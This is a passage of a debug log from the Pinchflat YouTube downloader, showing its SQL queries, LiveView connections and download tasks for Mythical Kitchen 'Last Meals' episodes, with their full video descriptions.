livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25] 20:47:29.224 [info] Kicking off download for media item #25 (spwFlJDlK1M) 20:47:29.226 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [28, 25, ~U[2026-03-28 00:47:29Z], ~U[2026-03-28 00:47:29Z]] 20:47:29.226 [debug] Current batch of media processed. Will check again in 1000ms 20:47:30.226 [debug] Current batch of media processed. Will check again in 1000ms 20:47:30.877 [info] GET /media_profiles 20:47:30.877 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 20:47:30.878 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=1653.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 20:47:30.879 [debug] QUERY OK source="settings" db=0.1ms idle=1653.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:30.879 [debug] QUERY OK source="settings" db=0.2ms idle=1653.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:30.880 [debug] QUERY OK source="settings" db=0.3ms idle=1654.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:30.882 [info] Sent 200 in 5ms 20:47:30.965 [info] CONNECTED TO Phoenix.LiveView.Socket in 32µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BSAbKhooCTM_VwMoajkMFR8vT2JmOjAknGIItMp_od3_2ucV-lxSQmFI", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:47:31.024 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:31.024 [debug] Replied in 244µs 20:47:31.228 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Alan Tudyk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Alan's Last Meal\n0:59 Have You Thought About Your Last Meal Before?\n2:15 Alan's Funeral Playlist\n2:48 1st Course\n4:49 Alan's Nemesis, RON\n6:10 Trust Falls With A Murderer\n7:52 Getting Into Voice Acting\n9:12 A Dodgeball-Playing Pirate From Julliard\n10:49 2nd Course\n11:47 FIREFLY\n14:43 Going to Fan Conventions & Making Con Man\n16:03 Firefly's Unexpected Fan\n17:57 3rd Course\n19:13 Almost Dying & Meeting Robin Williams\n22:44 Spamelot Curtain Call\n24:23 Crying For Choreographers\n26:40 Alan & Charissa's Proposal Story\n28:16 Romance Under The Big Top\n29:58 4th Course\n30:29 James Gunn's Superman\n31:09 Heath Ledger's Kindness\n34:32 Mental Health Practice\n35:08 Playing A Racist Onscreen\n36:30 A Spectacular Death\n37:19 What Do You Think Happens When You Die?\n37:53 Lightning Round\n39:42 Alan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2512, "filename" => "/downloads/Last Meals/2024-11-19 Alan Tudyk Eats His Last Meal/Alan Tudyk Eats His Last Meal [sM0pzP4280U].mp4", "id" => "sM0pzP4280U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sM0pzP4280U", "playlist_index" => 26, "timestamp" => 1732014065, "title" => "Alan Tudyk Eats His Last Meal", "upload_date" => "20241119"} 20:47:31.229 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=350.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:31.229 [debug] QUERY OK source="sources" db=0.2ms idle=350.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:31.230 [debug] QUERY OK source="media_items" db=0.3ms idle=350.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-19 11:01:05Z], 1] 20:47:31.235 [debug] QUERY OK source="media_items" db=3.4ms idle=350.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Alan Tudyk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Alan's Last Meal\n0:59 Have You Thought About Your Last Meal Before?\n2:15 Alan's Funeral Playlist\n2:48 1st Course\n4:49 Alan's Nemesis, RON\n6:10 Trust Falls With A Murderer\n7:52 Getting Into Voice Acting\n9:12 A Dodgeball-Playing Pirate From Julliard\n10:49 2nd Course\n11:47 FIREFLY\n14:43 Going to Fan Conventions & Making Con Man\n16:03 Firefly's Unexpected Fan\n17:57 3rd Course\n19:13 Almost Dying & Meeting Robin Williams\n22:44 Spamelot Curtain Call\n24:23 Crying For Choreographers\n26:40 Alan & Charissa's Proposal Story\n28:16 Romance Under The Big Top\n29:58 4th Course\n30:29 James Gunn's Superman\n31:09 Heath Ledger's Kindness\n34:32 Mental Health Practice\n35:08 Playing A Racist Onscreen\n36:30 A Spectacular Death\n37:19 What Do You Think Happens When You Die?\n37:53 Lightning Round\n39:42 Alan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Alan Tudyk Eats His Last Meal", "6f6df460-e687-4392-92d7-c37b9620a68c", "https://www.youtube.com/watch?v=sM0pzP4280U", false, "sM0pzP4280U", 2512, false, 26, "/downloads/Last Meals/2024-11-19 Alan Tudyk Eats His Last Meal/Alan Tudyk Eats His Last Meal [sM0pzP4280U].mp4", false, false, 1, [], 0, ~U[2024-11-19 11:01:05Z], ~U[2026-03-28 00:47:31Z], ~U[2026-03-28 00:47:31Z], "Today, Alan Tudyk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Alan's Last Meal\n0:59 Have You Thought About Your Last Meal Before?\n2:15 Alan's Funeral Playlist\n2:48 1st Course\n4:49 Alan's Nemesis, RON\n6:10 Trust Falls With A Murderer\n7:52 Getting Into Voice Acting\n9:12 A Dodgeball-Playing Pirate From Julliard\n10:49 2nd Course\n11:47 FIREFLY\n14:43 Going to Fan Conventions & Making Con Man\n16:03 Firefly's Unexpected Fan\n17:57 3rd Course\n19:13 Almost Dying & Meeting Robin Williams\n22:44 Spamelot Curtain Call\n24:23 Crying For Choreographers\n26:40 Alan & Charissa's Proposal Story\n28:16 Romance Under The Big Top\n29:58 4th Course\n30:29 James Gunn's Superman\n31:09 Heath Ledger's Kindness\n34:32 Mental Health Practice\n35:08 Playing A Racist Onscreen\n36:30 A Spectacular Death\n37:19 What Do You Think Happens When You Die?\n37:53 Lightning Round\n39:42 Alan's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the (truncated) 20:47:31.236 [debug] QUERY OK source="sources" db=0.3ms idle=212.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:31.236 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:31.237 [debug] QUERY OK source="media_items" db=0.5ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 20:47:31.237 [info] Kicking off download for media item #26 (sM0pzP4280U) 20:47:31.239 [debug] QUERY OK source="tasks" db=0.2ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [29, 26, ~U[2026-03-28 00:47:31Z], ~U[2026-03-28 00:47:31Z]] 20:47:31.239 [debug] Current batch of media processed. Will check again in 1000ms 20:47:32.241 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ken Jeong eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ken's Last Meal\n0:22 You Can't Do Math With A Groin Injury\n1:26 Have You Thought About You Last Meal Before?\n2:05 How Often Do You Think About Death?\n2:55 1st Course\n6:38 Addressing The Rumors\n7:25 Doing Open Mics During Med School\n8:49 LARP Research For Role Models\n12:01 Hosting 99 to Beat\n13:13 UGH Joel McHale\n13:54 2nd Course\n16:39 Crazy Nights In Koreatown\n17:58 Rise Of Korean Culture\n19:04 Find Art In Whatever You're Doing\n21:37 The Soul Of A Comedian\n23:57 3rd Course\n25:27 The Hangover & Vietnamese Inside Jokes\n29:13 Advice For People Going Through Cancer\n32:17 4th Course\n32:55 Love For Comedy\n34:45 The Key To Life\n35:27 Is Laughter The Best Medicine?\n38:29 Lightning Round\n41:24 Ken's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2547, "filename" => "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", "id" => "VTMUWlrv8vg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VTMUWlrv8vg", "playlist_index" => 27, "timestamp" => 1758621651, "title" => "Ken Jeong Eats His Last Meal", "upload_date" => "20250923"} 20:47:32.241 [debug] QUERY OK source="sources" db=0.4ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:32.242 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:32.243 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-23 10:00:51Z], 1] 20:47:32.269 [debug] QUERY OK source="media_items" db=25.9ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ken Jeong eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ken's Last Meal\n0:22 You Can't Do Math With A Groin Injury\n1:26 Have You Thought About You Last Meal Before?\n2:05 How Often Do You Think About Death?\n2:55 1st Course\n6:38 Addressing The Rumors\n7:25 Doing Open Mics During Med School\n8:49 LARP Research For Role Models\n12:01 Hosting 99 to Beat\n13:13 UGH Joel McHale\n13:54 2nd Course\n16:39 Crazy Nights In Koreatown\n17:58 Rise Of Korean Culture\n19:04 Find Art In Whatever You're Doing\n21:37 The Soul Of A Comedian\n23:57 3rd Course\n25:27 The Hangover & Vietnamese Inside Jokes\n29:13 Advice For People Going Through Cancer\n32:17 4th Course\n32:55 Love For Comedy\n34:45 The Key To Life\n35:27 Is Laughter The Best Medicine?\n38:29 Lightning Round\n41:24 Ken's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ken Jeong Eats His Last Meal", "e05ef840-3e18-4c74-be8d-a4802c9d78df", "https://www.youtube.com/watch?v=VTMUWlrv8vg", false, "VTMUWlrv8vg", 2547, false, 27, "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", false, false, 1, [], 0, ~U[2025-09-23 10:00:51Z], ~U[2026-03-28 00:47:32Z], ~U[2026-03-28 00:47:32Z], "Today, Ken Jeong eats his last meal.\n\nGood Mythical Evening is blasting off October 23rd at 